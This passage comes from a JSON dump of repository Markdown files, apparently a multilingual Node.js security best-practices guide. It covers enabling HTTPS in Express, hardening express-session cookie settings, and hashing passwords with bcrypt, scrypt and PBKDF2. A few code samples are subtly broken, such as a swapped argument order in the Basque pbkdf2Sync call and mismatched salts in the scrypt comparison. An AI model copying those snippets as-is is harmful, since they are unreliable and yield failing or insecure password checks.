ниже.\r\n\r\n🔗 [Читать OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\r\n\r\n🔗 [Читать MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Дополнительные ресурсы\r\n\r\n🔗 [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\r\n\r\n🔗 [Node.js Security Checklist (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureserver.basque.md",
    "content": "# Erabili HTTPS erabiltzaile zerbitzariaren konexioa enkriptatzeko\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\n\r\n[Let'sEncrypt](https://letsencrypt.org/) bezalako zerbitzuak erabiltzeak, **dohaineko** SSL/TLS ziurtagiriak hornitzen dituen autoritate ziurtagiri-emailea, zure aplikazioetan komunikazioa enkriptatzen lagun dezake. [Express](http://expressjs.com/) bezalako Node.jsren frameworkek (`https` moduluan oinarritua) SSL/TLS onartzen dute, kode ilara gutxi batzuetan egin daitekeena.\r\n\r\nSSL/TLS ezarri zenezake alderantzizko proxy batean, esaterako [NGINX](http://nginx.org/en/docs/http/configuring_https_servers.html) edo HAProxy.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: gaitu Express frameworka erabiliz SSL/TLS\r\n\r\n```javascript\r\nconst express = require(\"express\");\r\nconst https = require(\"https\");\r\nconst app = express();\r\nconst options = {\r\n  // Zure ezarpenen arabera bidea aldatu beharko litzateke\r\n  cert: fs.readFileSync(\"./sslcert/fullchain.pem\"),\r\n  key: fs.readFileSync(\"./sslcert/privkey.pem\"),\r\n};\r\nhttps.createServer(options, app).listen(443);\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureserver.brazilian-portuguese.md",
    "content": "# Usando HTTPS para criptografar a conexão cliente-servidor\r\n\r\n<br/><br/>\r\n\r\n\r\n### Explicação em um Parágrafo\r\n\r\nUsar serviços como [Let'sEncrypt](https://letsencrypt.org/), uma autoridade certificadora que fornece certificados SSL/TLS __gratuitos__, pode ajudar a criptografar a comunicação de suas aplicações. Frameworks Node.js como [Express](http://expressjs.com/) (baseado no módulo central `https`) suportam SSL/TLS, o qual pode ser implementado em poucas linhas de código.\r\n\r\nVocê também pode configurar SSL/TLS em um proxy reverso, como [NGINX](http://nginx.org/en/docs/http/configuring_https_servers.html) ou HAProxy.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código - Ativando SSL/TLS usando o framework Express\r\n\r\n```javascript\r\nconst express = require('express');\r\nconst https = require('https');\r\nconst app = express();\r\nconst options = {\r\n    // O caminho deve ser alterado de acordo com sua configuração\r\n    cert: fs.readFileSync('./sslcert/fullchain.pem'),\r\n    key: fs.readFileSync('./sslcert/privkey.pem')\r\n};\r\nhttps.createServer(options, app).listen(443);\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureserver.chinese.md",
    "content": "# 使用https加密客户端-服务器连接\n\n<br/><br/>\n\n\n### 一段解释\n\n使用服务，比如[Let'sEncrypt](https://letsencrypt.org/)证书颁发机构提供 __free__ ssl/tls证书，您可以轻松地获得证书, 以确保您的应用程序安全。Node.js框架，比如[Express](http://expressjs.com/)(基于核心`https`模块) 轻松支持基于ssl/tls的服务，此外, 配置可以通过几行额外的代码完成。\n\n您还可以在指向应用程序的反向代理上配置ssl/tls，例如使用[nginx](http://nginx.org/en/docs/http/configuring_https_servers.html)或者HAProxy.\n\n<br/><br/>\n\n### 代码示例 – 使用express框架启用SSL/TLS\n\n```javascript\nconst express = require('express');\nconst https = require('https');\nconst app = express();\nconst options = {\n    // 路径应根据您的设置进行相应的更改\n    cert: fs.readFileSync('./sslcert/fullchain.pem'),\n    key: fs.readFileSync('./sslcert/privkey.pem')\n};\nhttps.createServer(options, app).listen(443);\n```\n\n<br/><br/>\n"
  },
  {
    "path": "sections/security/secureserver.french.md",
    "content": "# Utilisation du HTTPS pour crypter la connexion client-serveur\n\n<br/><br/>\n\n\n### Un paragraphe d'explication\n\nL'utilisation de services tels que [Let'sEncrypt](https://letsencrypt.org/), une autorité de certification qui fournit __gratuitement__ des certificats SSL/TLS, peut aider à crypter la communication de vos applications. Les frameworks Node.js comme [Express](http://expressjs.com/) (fondé sur le module de base `https`) prend en charge SSL/TLS, qui peut être implémenté en quelques lignes de code.\n\nVous pouvez également configurer SSL/TLS sur un reverse proxy, tel que [NGINX](http://nginx.org/en/docs/http/configuring_https_servers.html) ou HAProxy.\n\n<br/><br/>\n\n### Exemple de code - Activation SSL/TLS à l'aide du framework Express\n\n```javascript\nconst express = require('express');\nconst https = require('https');\nconst app = express();\nconst options = {\n    // Le chemin doit être modifié en fonction de votre configuration\n    cert: fs.readFileSync('./sslcert/fullchain.pem'),\n    key: fs.readFileSync('./sslcert/privkey.pem')\n};\nhttps.createServer(options, app).listen(443);\n```\n\n<br/><br/>\n"
  },
  {
    "path": "sections/security/secureserver.japanese.md",
    "content": "# クライアント／サーバー間の通信を暗号化するために SSL/TLS を使用する\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段落説明\r\n\r\n[Let'sEncrypt](https://letsencrypt.org/) のような、無料で証明書を発行してくれるサービスを利用することで、アプリケーションの通信を暗号化することができます。[Express](http://expressjs.com/) のような Node.js フレームワーク（`https`コアモジュールをベースにしている）は SSL/TLS をサポートしており、数行のコードで実装することができます。\r\n\r\nまた、[NGINX](http://nginx.org/en/docs/http/configuring_https_servers.html) や HAProxy のようなリバースプロキシを用いて SSL/TLS 化することもできます。\r\n\r\n<br/><br/>\r\n\r\n### コード例 – Express を使用して SSL/TLS を有効化する\r\n\r\n```javascript\r\nconst express = require('express');\r\nconst https = require('https');\r\nconst app = express();\r\nconst options = {\r\n    // ファイルのパスは環境によって異なります\r\n    cert: fs.readFileSync('./sslcert/fullchain.pem'),\r\n    key: fs.readFileSync('./sslcert/privkey.pem')\r\n};\r\nhttps.createServer(options, app).listen(443);\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureserver.md",
    "content": "# Using HTTPS to encrypt the client-server connection\r\n\r\n<br/><br/>\r\n\r\n\r\n### One Paragraph Explainer\r\n\r\nUsing services such as [Let'sEncrypt](https://letsencrypt.org/), a certificate authority which provides __free__ SSL/TLS certificates, can help encrypt the communication of your applications. Node.js frameworks like [Express](http://expressjs.com/) (based on the core `https` module) support SSL/TLS, which can be implemented in a few lines of code.\r\n\r\nYou can also configure SSL/TLS on a reverse proxy, such as [NGINX](http://nginx.org/en/docs/http/configuring_https_servers.html) or HAProxy.\r\n\r\n<br/><br/>\r\n\r\n### Code Example – Enabling SSL/TLS using the Express framework\r\n\r\n```javascript\r\nconst express = require('express');\r\nconst https = require('https');\r\nconst app = express();\r\nconst options = {\r\n    // The path should be changed accordingly to your setup\r\n    cert: fs.readFileSync('./sslcert/fullchain.pem'),\r\n    key: fs.readFileSync('./sslcert/privkey.pem')\r\n};\r\nhttps.createServer(options, app).listen(443);\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureserver.russian.md",
    "content": "# Используйте HTTPS для шифрования соединения клиент-сервер\r\n\r\n<br/><br/>\r\n\r\n\r\n### Объяснение в один абзац\r\n\r\nИспользование таких служб, как [Let'sEncrypt](https://letsencrypt.org/), центр сертификации, который предоставляет __free__ сертификаты SSL/TLS, может помочь зашифровать связь ваших приложений. Среды Node.js, такие как [Express](http://expressjs.com/) (основанные на модуле `https`), поддерживают SSL/TLS, который может быть реализован в несколько строк кода.\r\n\r\nВы также можете настроить SSL/TLS на обратном прокси, например [NGINX] (http://nginx.org/en/docs/http/configuring_https_servers.html) или HAProxy.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - Включение SSL/TLS с использованием платформы Express\r\n\r\n```javascript\r\nconst express = require('express');\r\nconst https = require('https');\r\nconst app = express();\r\nconst options = {\r\n    // The path should be changed accordingly to your setup\r\n    cert: fs.readFileSync('./sslcert/fullchain.pem'),\r\n    key: fs.readFileSync('./sslcert/privkey.pem')\r\n};\r\nhttps.createServer(options, app).listen(443);\r\n```\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/sessions.basque.md",
    "content": "# Aldatu lehenetsitako saioko middlewarearen ezarpenak\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nmiddleware programa ezagun askok ez dituzte praktika egokienak/cookie ezarpenak segurtasunez ezartzen. Ezarpen lehenetsi horiek moldatzeak babes handiagoa eskaintzen die erabiltzaileari eta aplikazioari, saio bahiketa eta saioaren identifikazioa bezalako erasoen mehatxua murriztuz.\r\n\r\nLehenetsitako ezarpen ohikoena saioaren `izena` da; eta, `express-session`-ean, hori `connect.sid` da. Erasotzaileren batek informazio hori erabil dezake web aplikazioaren azpiko plataforma eta moduluen ahultasun espezifikoak identifikatzeko. Balio horren ordez lehenetsia ez den besteren bat aukeratzeak zaildu egingo du jakitea zein saio mekanismo erabiltzen ari den.\r\n\r\n`express-session`en ere, `cookie.secure` aukera faltsua da lehenetsitako balio gisa. Ezarpen hori egia gisa konfiguratzeak cookiea httpsra soilik garraiatu ahal izatea ekarriko du, `man-in-the-middle`erako erasoetatik babesten duena.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: cookie ezarpen seguruak ezartzea\r\n\r\n```javascript\r\n// expressen sesio middlewarea erabiliz\r\napp.use(\r\n  session({\r\n    secret: \"youruniquesecret\", // string sekretua erabili da cookiean gordeta dagoen sesioaren IDan konektatzeko\r\n    name: \"youruniquename\", // izen bakarra zehaztu berezko connect.sid ezabatzeko\r\n    cookie: {\r\n      httpOnly: true, // XSS erasoen arriskua gutxitu bezeroari cookiea irakurtzen sahietsiz\r\n      secure: true, // https eran bakarrik bidali cookiea\r\n      maxAge: 60000 * 60 * 24, // zehaztu cookiearen bizi iraupena mili segundutan\r\n    },\r\n  })\r\n);\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[NodeSource blog](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/) bloga:\r\n\r\n> ...Expressek oso seguruak ez diren cookie ezarpen lehenetsiak ditu. Eskuz doi daitezke segurtasuna hobetzeko, bai aplikazio batentzat bai erabiltzaileentzat.\\*\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/sessions.brazilian-portuguese.md",
    "content": "# Modifique as configurações do middleware de sessão\r\n\r\n<br/><br/>\r\n\r\n\r\n### Explicação em um Parágrafo\r\n\r\nMuitos middlewares de sessão populares não aplicam as melhores práticas/configurações de cookies seguros por padrão. Ajustar essas configurações a partir dos padrões oferece maior proteção tanto para o usuário quanto para a aplicação, reduzindo a ameaça de ataques como sequestro de sessão e identificação de sessão.\r\n\r\nA configuração mais comum deixada como padrão é a sessão `name` - em `express-session` isto é `connect.sid`. Um invasor pode usar essas informações para identificar a estrutura subjacente da aplicação da Web, bem como as vulnerabilidades específicas do módulo. Alterar esse valor para algo diferente do padrão tornará mais difícil determinar qual mecanismo de sessão está sendo usado.\r\n\r\nTambém em `express-session`, a opção `cookie.secure` é configurada para false como o valor padrão. Alterar isso para true restringirá o transporte do cookie para https, o que fornece segurança contra ataques do tipo man-in-the-middle\r\n\r\n<br/><br/>\r\n\r\n\r\n### Exemplo de código: definindo configurações de cookies seguros\r\n\r\n```javascript\r\n// usando o middleware de sessão do express\r\napp.use(session({  \r\n  secret: 'youruniquesecret', // seqüência secreta usada na assinatura do ID da sessão que é armazenado no cookie\r\n  name: 'youruniquename', // definir um nome exclusivo para remover o padrão connect.sid\r\n  cookie: {\r\n    httpOnly: true, // minimizar o risco de ataques XSS, restringindo o cliente de ler o cookie\r\n    secure: true, // envie apenas cookies por https\r\n    maxAge: 60000*60*24 // definir a validade do cookie em ms\r\n  }\r\n}));\r\n```\r\n\r\n<br/><br/>\r\n\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog [NodeSource](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/): \r\n> ...O Express tem configurações de cookies padrão que não são altamente seguras. Elas podem ser ajustadas manualmente para aumentar a segurança - tanto para um aplicativo quanto para seu usuário.*\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/sessions.french.md",
    "content": "# Modify the default session middleware settings\n\n<br/><br/>\n\n\n### One Paragraph Explainer\n\nMany popular session middlewares do not apply best practice/secure cookie settings out of the box. Tweaking these settings from the defaults offers greater protection for both the user and the application, by reducing the threat of attacks such as session hijacking and session identification.\n\nThe most common setting left to default is the session `name` - in `express-session` this is `connect.sid`. An attacker can use this information to identify the underlying framework of the web application as well as module specific vulnerabilities. Changing this value to something other than the default will make it harder to determine what session mechanism is being used.\n\nAlso in `express-session`, the option `cookie.secure` is set to false as the default value. Changing this to true will restrict transport of the cookie to https only which provides safety from man-in-the-middle type attacks\n\n<br/><br/>\n\n\n### Code example: Setting secure cookie settings\n\n```javascript\n// using the express session middleware\napp.use(session({  \n  secret: 'youruniquesecret', // secret string used in the signing of the session ID that is stored in the cookie\n  name: 'youruniquename', // set a unique name to remove the default connect.sid\n  cookie: {\n    httpOnly: true, // minimize risk of XSS attacks by restricting the client from reading the cookie\n    secure: true, // only send cookie over https\n    maxAge: 60000*60*24 // set cookie expiry length in ms\n  }\n}));\n```\n\n<br/><br/>\n\n\n### What Other Bloggers Say\n\nFrom the [NodeSource blog](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/): \n> ...Express has default cookie settings that aren’t highly secure. They can be manually tightened to enhance security - for both an application and its user.*\n\n<br/><br/>\n"
  },
  {
    "path": "sections/security/sessions.japanese.md",
    "content": "# セッションミドルウェアの設定を変更する\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段落説明\r\n\r\n多くの有名なセッションミドルウェアは、そのまま利用できるような、ベストプラクティス/セキュア Cookie 設定を適用していません。これらの設定をデフォルト値から調整することによって、セッションハイジャックやセッション識別のような攻撃の脅威を減らし、ユーザーとアプリケーションの両方により安全な保護を提供します。\r\n\r\nデフォルト値のままになっている最も一般的な設定は、セッション名 `name` です - `express-session` では、`connect.sid` に値します。攻撃者はこの情報を利用して背後にある Web アプリケーションフレームワークや、モジュール固有の脆弱性を特定する可能性があります。この値を他の値に変更することで、どんなセッション機構が利用されているかの特定を難しくします。\r\n\r\nまた `express-session` では、`cookie.secure` オプションがデフォルトで false に指定されています。この値を true に変更することで、Cookie の送信を https のみに制限し、中間者攻撃からの保護を提供します。\r\n\r\n<br/><br/>\r\n\r\n\r\n### コード例: 安全な Cookie の設定を行う\r\n\r\n```javascript\r\n// express セッションミドルウェアを使用する\r\napp.use(session({  \r\n  secret: 'youruniquesecret', // cookie に格納されるセッション ID に署名するために利用されるシークレット文字列\r\n  name: 'youruniquename', // デフォルトの connect.sid を取り除くために、ユニークな名前をセットする\r\n  cookie: {\r\n    httpOnly: true, // クライアントの cookie 読み取りを制限することで、XSS 攻撃のリスクを最小化する\r\n    secure: true, // https でのみ cookie を送信する\r\n    maxAge: 60000*60*24 // cookie の有効期限を ms で指定する\r\n  }\r\n}));\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[NodeSource blog](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/) より: \r\n> ...Express にはデフォルトの cookie 設定がありますが、これはあまり安全ではありません。この設定は、アプリケーションとユーザーの両方にとってのセキュリティを強化するために、手動で厳しくすることができます。\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/sessions.md",
    "content": "# Modify the default session middleware settings\r\n\r\n<br/><br/>\r\n\r\n\r\n### One Paragraph Explainer\r\n\r\nMany popular session middlewares do not apply best practice/secure cookie settings out of the box. Tweaking these settings from the defaults offers greater protection for both the user and the application, by reducing the threat of attacks such as session hijacking and session identification.\r\n\r\nThe most common setting left to default is the session `name` - in `express-session` this is `connect.sid`. An attacker can use this information to identify the underlying framework of the web application as well as module specific vulnerabilities. Changing this value to something other than the default will make it harder to determine what session mechanism is being used.\r\n\r\nAlso in `express-session`, the option `cookie.secure` is set to false as the default value. Changing this to true will restrict transport of the cookie to https only which provides safety from man-in-the-middle type attacks\r\n\r\n<br/><br/>\r\n\r\n\r\n### Code example: Setting secure cookie settings\r\n\r\n```javascript\r\n// using the express session middleware\r\napp.use(session({  \r\n  secret: 'youruniquesecret', // secret string used in the signing of the session ID that is stored in the cookie\r\n  name: 'youruniquename', // set a unique name to remove the default connect.sid\r\n  cookie: {\r\n    httpOnly: true, // minimize risk of XSS attacks by restricting the client from reading the cookie\r\n    secure: true, // only send cookie over https\r\n    maxAge: 60000*60*24 // set cookie expiry length in ms\r\n  }\r\n}));\r\n```\r\n\r\n<br/><br/>\r\n\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the [NodeSource blog](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/): \r\n> ...Express has default cookie settings that aren’t highly secure. They can be manually tightened to enhance security - for both an application and its user.*\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/sessions.polish.md",
    "content": "# Zmodyfikuj domyślne ustawienia sesji oprogramowania pośredniego\n\n<br/><br/>\n\n\n### Wyjaśnienie jednym akapitem\n\nWiele popularnych programów pośrednich sesji nie stosuje ustawień najlepszych praktyk / bezpiecznych plików cookie po wyjęciu z box'a. Dostosowanie tych ustawień w stosunku do ustawień domyślnych zapewnia lepszą ochronę zarówno dla użytkownika, jak i aplikacji, poprzez zmniejszenie zagrożenia atakami, takimi jak przejęcie sesji i identyfikacja sesji.\n\nNajczęstszym ustawieniem pozostawionym domyślnie jest sesja `name` - w `express-session` jest to `connect.sid`. Osoba atakująca może wykorzystać te informacje do zidentyfikowania podstawowej struktury aplikacji sieci Web, a także słabych punktów modułu. Zmiana tej wartości na inną niż domyślna utrudni określenie, który mechanizm sesji jest używany.\n\nRównież w `express-session` opcja `cookie.secure` jest ustawiona na wartość false jako wartość domyślna. Zmiana tej wartości na true ograniczy transport pliku cookie tylko do protokołu https, co zapewnia bezpieczeństwo przed atakami typu man-in-the-middle\n\n<br/><br/>\n\n\n### Przykład kodu: Setting secure cookie settings\n\n```javascript\n// using the express session middleware\napp.use(session({  \n  secret: 'youruniquesecret', // secret string used in the signing of the session ID that is stored in the cookie\n  name: 'youruniquename', // set a unique name to remove the default connect.sid\n  cookie: {\n    httpOnly: true, // minimize risk of XSS attacks by restricting the client from reading the cookie\n    secure: true, // only send cookie over https\n    maxAge: 60000*60*24 // set cookie expiry length in ms\n  }\n}));\n```\n\n<br/><br/>\n\n\n### Co mówią inni blogerzy\n\nZ [bloga NodeSource](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/): \n> ...Express has default cookie settings that aren’t highly secure. They can be manually tightened to enhance security - for both an application and its user.*\n\n<br/><br/>\n"
  },
  {
    "path": "sections/security/sessions.russian.md",
    "content": "# Изменяйте настройки промежуточного программного обеспечения сеанса по умолчанию\r\n\r\n<br/><br/>\r\n\r\n\r\n### Объяснение в один абзац\r\n\r\nМногие популярные промежуточные программы для сессий не применяют оптимальные настройки/безопасные настройки файлов cookie из коробки. Изменение этих настроек по умолчанию обеспечивает большую защиту как для пользователя, так и для приложения, уменьшая угрозу таких атак, как перехват сеансов и идентификация сеансов.\r\n\r\nСамым распространенным параметром, оставляемым по умолчанию, является `name` сессии - в `express-session` это `connect.sid`. Злоумышленник может использовать эту информацию для определения базовой структуры веб-приложения, а также специфических уязвимостей модуля. Изменение этого значения на значение, отличное от значения по умолчанию, затруднит определение используемого механизма сеанса.\r\n\r\nТакже в `express-session` опция `cookie.secure` установлена ​​в значение false по умолчанию. Изменение этого параметра на true ограничит передачу файла cookie только по протоколу https, что обеспечивает безопасность от атак типа \"человек посередине\".\r\n\r\n<br/><br/>\r\n\r\n\r\n### Пример кода: настройка параметров безопасных cookie\r\n\r\n```javascript\r\n// using the express session middleware\r\napp.use(session({  \r\n  secret: 'youruniquesecret', // secret string used in the signing of the session ID that is stored in the cookie\r\n  name: 'youruniquename', // set a unique name to remove the default connect.sid\r\n  cookie: {\r\n    httpOnly: true, // minimize risk of XSS attacks by restricting the client from reading the cookie\r\n    secure: true, // only send cookie over https\r\n    maxAge: 60000*60*24 // set cookie expiry length in ms\r\n  }\r\n}));\r\n```\r\n\r\n<br/><br/>\r\n\r\n\r\n### Что говорят другие блоггеры\r\n\r\nИз [NodeSource блога](http://nodesource.com/blog/nine-security-tips-to-keep-express-from-getting-pwned/): \r\n> ... Express имеет настройки файлов cookie по умолчанию, которые не очень безопасны. Они могут быть затянуты вручную для повышения безопасности - как для приложения, так и для пользователя.*\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/userpasswords.basque.md",
    "content": "# Babestu zure erabiltzaileen pasahitzak\r\n\r\n### Azalpena\r\n\r\nEnkriptatu **beti** erabiltzaileen pasahitzak testu gisa gorde aurretik. Hiru aukera dituzu erabiltzailearen pasahitzak enkriptatzeko, betiere zertarako erabili nahi dituzun kontuan hartuta. Beheko funtzio guztiak behar bezala ezarri behar dira segurtasuna eskaintzeko (begiratu gutxieneko erreferentzia edo [IETFren gomendioak](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations) jakiteko zein parametro erabili behar duzun bakoitzarekin). Gutxienez gomendatutako propietateak erabili beharko zenituzke; parametro altuagoak eta zure programarako bakarra den konbinazioa erabiltzeak lagundu ahal dizu kalte batzuk arintzen, noizbait baten batek zure pasahitz traolatuak eskuratzea lortzen badu. Gainera, gehitu [“gatza”](https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/) (datu erreproduzigarriak, erabiltzailearentzat eta zure sistemarentzat berariaz sortuak eta bakarrak) papasahitzak enkriptatu aurretik.\r\n\r\n  - Erabilera kasu gehienetan,  [`bcrypt`](https://www.npmjs.com/package/bcrypt) liburutegi ezaguna erabil daiteke  (minimum: `cost:12`, password lengths must be <64)\r\n  - Jatorrizko soluzio zorrotzagoa lortzeko edo tamaina mugagabeko pasahitzak lortzeko, erabili [`scrypt`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback) funtzioa. (gutxienekoak: `N:32768, r:8, p:1`)\r\n  - FIPS / Governement betetzeko, erabili jatorrizko kriptografia moduluan sartutako [`PBKDF2`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_pbkdf2_password_salt_iterations_keylen_digest_callback) funtzio zaharrena. (gutxienekoa: `errepikapenak: 10000, luzera: {salt: 16, pasahitza: 32}`)\r\n\r\n\r\n(OHARRA: `Math.random()` ez da **inoiz** erabili behar inolako pasahitz edo token sorkuntzaren zati gisa, aldez aurretik igar daitekeelako. Ikusi [atal aurreratua](#randomness) informazio gehiago lortzeko)\r\n\r\n\r\n### Kode adibidea: Bcrypt\r\n\r\n```javascript\r\nconst iterations = 12;\r\ntry {\r\n// era asinkronoan pasahitz seguru bat sortu\r\n  const hash = await bcrypt.hash('nirePasahitza', iterations);\r\n  // Store secure hash in user record\r\n\r\n  // hornitutako pasahitz sarrera bat gordetako hasharekin alderatu\r\n  const match = await bcrypt.compare('pasahitzBat', hash);\r\n  if (match) {\r\n   // pasahitzak berdinak dira\r\n  } else {\r\n   // pasahitzak ez dira berdinak\r\n  }\r\n} catch {\r\n  logger.error('ezin da pasahitzaren hasha egin.')\r\n}\r\n```\r\n\r\n### Kode adibidea: SCrypt\r\n\r\n```javascript\r\n  const outSize = 64;\r\n  const hash = crypto.scryptSync('nirePasahitzMugagabea','erabiltzaileBalioBakarraGatzerako',outSize).toString('hex');\r\n\r\n  // Hash segurua erabiltzailearen datuan gorde\r\n\r\n  // hornitutako pasahitz sarrera bat gordetako hasharekin alderatu\r\n  const match = hash === crypto.scryptSync('nirePasahitzMugagabea','gatzEratorria',outSize).toString('hex');\r\n\r\n  if (match) {\r\n   // pasahitzak berdinak dira\r\n  } else {\r\n   // pasahitzak ez dira berdinak\r\n  }\r\n```\r\n\r\n### Kode adibidea: PBKDF2 (pasahitzean oinarritutako giltzen deribazio funtzioa, Crypto Spec v2.1)\r\n\r\n```javascript\r\ntry {\r\n  const outSize = 64;\r\n  const digest = 'blake2b512';\r\n  const iterations = 12;\r\n  const hash = crypto.pbkdf2Sync('nirePasahitza','erabiltzaileBalioBakarraGatzerako', iterations * 1000, digest, outSize).toString('hex');\r\n\r\n  // Hash segurua erabiltzailearen datuan gorde\r\n\r\n  // hornitutako pasahitz sarrera bat gordetako hasharekin alderatu\r\n  const match = hash === crypto.pbkdf2Sync('pasahitzBat','gatzEratorria', iterations * 1000, digest, outSize).toString('hex');\r\n\r\n  if (match) {\r\n   // pasahitzak berdinak dira\r\n  } else {\r\n   // pasahitzak ez dira berdinak\r\n  }\r\n} catch {\r\n  logger.error('ezin da pasahitzaren hasha egin.')\r\n}\r\n```\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt)ren bloga:\r\n> ... kontua ez da soilik erabiltzea aztarna algoritmo egokia enkriptatzeko. Luze eta zabal azaldu izan dut beharrezkoa dela tresna egokiak \"denboraren\" osagaia edukitzea pasahitz enkriptatuaren algoritmoaren zati gisa eta zer suposatzen duen horrek indarra erabiliz pasahitzak krakeatzen saiatzen den erasotzailearentzat.\r\n\r\n[Troy Hunt](https://www.troyhunt.com/we-didnt-encrypt-your-password-we-hashed-it-heres-what-that-means/) blogetik hartua, HaveIBeenPwned.com-en sortzailea:\r\n> Pasahitzak behin eta berriro \"enkriptatuta\" daudela esateak ez du esan nahi horrela denik. Bcrypt enkriptazioek lan ona egiten dute, baina oso esanguratsua da denei esatea komeni dela pasahitza aldatzea, eta horrek erakusten du enkriptazio onak ere bere arriskuak dituela.\r\n\r\n### Aurreratuak eta erreferentziak\r\n\r\n#### Algoritmoak\r\n\r\nErabiltzaileen pasahitzak gordetzerakoan, zenbait aukera hartu behar dira kontuan, betiere zer lehentasun dituen haintzat hartuta\r\n\r\nBeheko algoritmo/funtzio guztiak behar bezala ezarri behar dira segurtasuna eskaintzeko. Begiratu [IETFren gomendioak](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations) jakiteko zein parametro erabili behar diren  bakoitzarekin. Gutxienez gomendatutako propietateak erabili beharko zenituzke; parametro altuagoak eta zure programarako bakarra den konbinazioa erabiltzeak lagundu ahal dizu kalte batzuk arintzen, noizbait baten batek zure pasahitz traolatuak eskuratzea lortzen badu. Gainera, gehitu gatza (datu erreproduzigarriak, erabiltzailearentzat eta zure sistemarentzat berariaz sortuak eta bakarrak) pasahitzak enkriptatu aurretik.\r\n\r\n[`bcrypt`](https://www.npmjs.com/package/bcrypt) da gehien erabiltzen den kanpoko menpekotasuna, eta ahal denean erabili egin behar da. Izan ere, `bcrypt` erabiltzean \"erronda\" batzuk zehaztu daitezke aztarna segurua eskaintzeko. Horrek datuak prozesatzen dituen lan faktorea edo \"erronda\" kopurua ezartzen du, eta zenbat eta aztarna erronda gehiago egin, orduan eta seguruagoa lortzen da  traol aztarna (PUZeko denbora handitzen bada ere). Aztarna errondak sartzeak esan nahi du indar gordinaren faktorea nabarmen murriztea, pasahitz crackerrak moteldu egiten baitira eta saiakera bat sortzeko behar den denbora handitu.\r\n\r\n[`scrypt`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback) funtzioa erabil daiteke, jatorrizko kriptografia moduluan sartutakoa, bcrypten baino hobexeagoa baita. Izan ere, luzera mugagabeko pasahitzak erabiltzeko aukera ematen du, eta ez du menpekotasunik gehitzen. Bestalde, hobeto konfiguratu beharra izaten du, eta, berriagoa izanik, gutxiago arakatua izaten da. `scrypt`ek batera erabiltzen ditu kostua (PUZ/memoriaren kostua handitzeko), blockSize (memoriaren kostua handitzeko) eta paralelizazioa (bereizitako eragiketetan zatitzearen kostua handitzeko) definitzeko zer segurtasun maila duen, zenbat denbora beharko duen eta zertan den seguruena.\r\n\r\nFIPS edo bestelako onarpenen bat guztiz beharrezkoa bada, jatorrizko kriptografia moduluan sartutako [`PBKDF2`](https://nodejs.org/dist/latest-v14.x/docs/api/crypto.html#crypto_crypto_pbkdf2_password_salt_iterations_keylen_digest_callback) funtzio zaharrena erabili beharko litzateke. `PBKDF2`k `bcrypt`en antzeko APIa du, iterazio zenbaketa erabiltzen baitu erabilera indarra eta denbora definitzeko.\r\n\r\n2021ean zehar erantsia izatekoa den (OpenSSLri erantsiz) `Argon2` funtzioa da [Pasahitz Aztarnen Lehiaketa](https://password-hashing.net/)ko irabazlea (Password Hashing Competition), eta [OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md#modern-algorithms)ek eta [IETF](https://tools.ietf.org/id/draft-whited-kitten-password-storage-00.html#name-kdf-recommendations)k gegien gomendatutakoa. Vehin jatorrizko modulu kriptografikoari gehitutakoan, `Argon2`k egonkorra izan beharko luke, eta lehentasuna eman beharko zenioke.\r\n\r\n\r\n#### Gatza botatzen\r\n\r\nAlgoritmoa/funtzioa edozein izanda ere, sartu beti zure sistemarentzako eta erabiltzailearentzako bakarra den kateren bat. Hona hemen adibide batzuk: erabiltzaile izena/erabiltzaile IDa eta zure aplikazioaren izena edo erabiltzailearen helbide elektronikoa eta zure enpresako helbide elektronikoa; elementu horietako batzuk konbinatuta, zuk zeuk nahi duzun moduan. Hala ere, zure 